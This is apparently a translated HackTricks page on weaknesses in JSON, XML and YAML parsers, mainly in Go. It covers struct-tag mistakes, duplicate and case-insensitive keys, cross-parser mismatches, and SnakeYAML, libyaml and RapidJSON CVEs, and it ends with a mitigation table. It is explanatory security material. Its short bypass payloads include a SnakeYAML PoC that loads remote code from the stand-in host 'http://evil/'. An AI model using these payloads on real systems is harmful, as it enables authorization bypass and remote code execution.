JSON, XML & Yaml Hacking & Issues

Reading time: 8 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Go JSON 解码器

在 Go JSON 中检测到以下问题,尽管这些问题也可能出现在其他语言中。这些问题已在 这篇博客文章 中发布。

Go 的 JSON、XML 和 YAML 解析器存在许多不一致和不安全的默认设置,这些设置可能被滥用以 绕过身份验证提升权限外泄敏感数据

(反)序列化意外数据

目标是利用允许攻击者读取/写入敏感字段(例如,IsAdminPassword)的结构体。

  • 示例结构体:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • 常见漏洞
  1. 缺失标签(无标签 = 字段仍然按默认解析):
go
type User struct {
Username string
}

有效载荷:

json
{"Username": "admin"}
  1. 不正确使用 -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

有效载荷:

json
{"-": true}

✔️ 正确阻止字段被(反)序列化的方法:

go
type User struct {
IsAdmin bool `json:"-"`
}

解析器差异

目标是通过利用不同解析器如何以不同方式解释相同有效负载来绕过授权,例如:

  • CVE-2017-12635: 通过重复键绕过 Apache CouchDB
  • 2022: 通过 XML 解析器不一致性实现 Zoom 0-click RCE
  • GitLab 2025 通过 XML 特性绕过 SAML

1. 重复字段: Go 的 encoding/json最后 一个字段。

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

其他解析器(例如,Java的Jackson)可能会取第一个

2. 不区分大小写: Go是不区分大小写的:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

即使是Unicode技巧也有效:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. 跨服务不匹配:
想象一下:

  • 用 Go 编写的代理
  • 用 Python 编写的 AuthZ 服务

攻击者发送:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python 看到 UserAction,允许它
  • Go 看到 AdminAction,执行它

数据格式混淆(多语言)

目标是利用混合格式(JSON/XML/YAML)或在解析器错误时失败开放的系统,例如:

  • CVE-2020-16250:HashiCorp Vault 在 STS 返回 JSON 而不是 XML 后,用 XML 解析器解析了 JSON。

攻击者控制:

  • Accept: application/json
  • 对 JSON 主体的部分控制

Go 的 XML 解析器 仍然 解析了它并信任注入的身份。

  • 精心制作的有效负载:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

结果:

  • Go JSON 解析器:Action_2(不区分大小写 + 最后一个优先)
  • YAML 解析器:Action_1(区分大小写)
  • XML 解析器:解析字符串中的 "Action_3"

显著的解析器漏洞(2023-2025)

以下公开可利用的问题表明,不安全的解析是一个多语言问题——不仅仅是 Go 的问题。

SnakeYAML 反序列化 RCE (CVE-2022-1471)

  • 影响:org.yaml:snakeyaml < 2.0(被 Spring-Boot、Jenkins 等使用)。
  • 根本原因:new Constructor() 反序列化 任意 Java 类,允许导致远程代码执行的 gadget 链。
  • 一行 PoC(将在易受攻击的主机上打开计算器):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • 修复 / 缓解措施:
  1. 升级到 ≥2.0(默认使用 SafeLoader)。
  2. 在旧版本中,明确使用 new Yaml(new SafeConstructor())

libyaml 双重释放 (CVE-2024-35325)

  • 影响: libyaml ≤0.2.5(许多语言绑定使用的 C 库)。
  • 问题: 调用 yaml_event_delete() 两次会导致双重释放,攻击者可以将其转化为 DoS,或者在某些情况下,堆利用。
  • 状态: 上游拒绝作为“API误用”,但 Linux 发行版发布了修补的 0.2.6,防御性地将指针置为 null。

RapidJSON 整数(下|上)溢出 (CVE-2024-38517 / CVE-2024-39684)

  • 影响: 腾讯 RapidJSON 在提交 8269bc2 之前(<1.1.0-patch-22)。
  • 缺陷: 在 GenericReader::ParseNumber() 中,未检查的算术运算使攻击者能够构造巨大的数字字面量,这些字面量会环绕并破坏堆——最终在结果对象图用于授权决策时启用特权提升。

🔐 缓解措施(更新)

风险修复 / 推荐
未知字段(JSON)decoder.DisallowUnknownFields()
重复字段(JSON)❌ 标准库中没有修复 — 使用 jsoncheck 验证
不区分大小写匹配(Go)❌ 没有修复 — 验证结构标签 + 预规范化输入
XML 垃圾数据 / XXE使用强化解析器 (encoding/xml + DisallowDTD)
YAML 未知键yaml.KnownFields(true)
不安全的 YAML 反序列化使用 SafeConstructor / 升级到 SnakeYAML ≥2.0
libyaml ≤0.2.5 双重释放升级到 0.2.6 或发行版修补版本
RapidJSON <修补提交编译最新的 RapidJSON(≥2024年7月)

参考文献

  • Baeldung – “使用 SnakeYAML 2.0 解决 CVE-2022-1471”
  • Ubuntu 安全追踪器 – CVE-2024-35325 (libyaml)

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks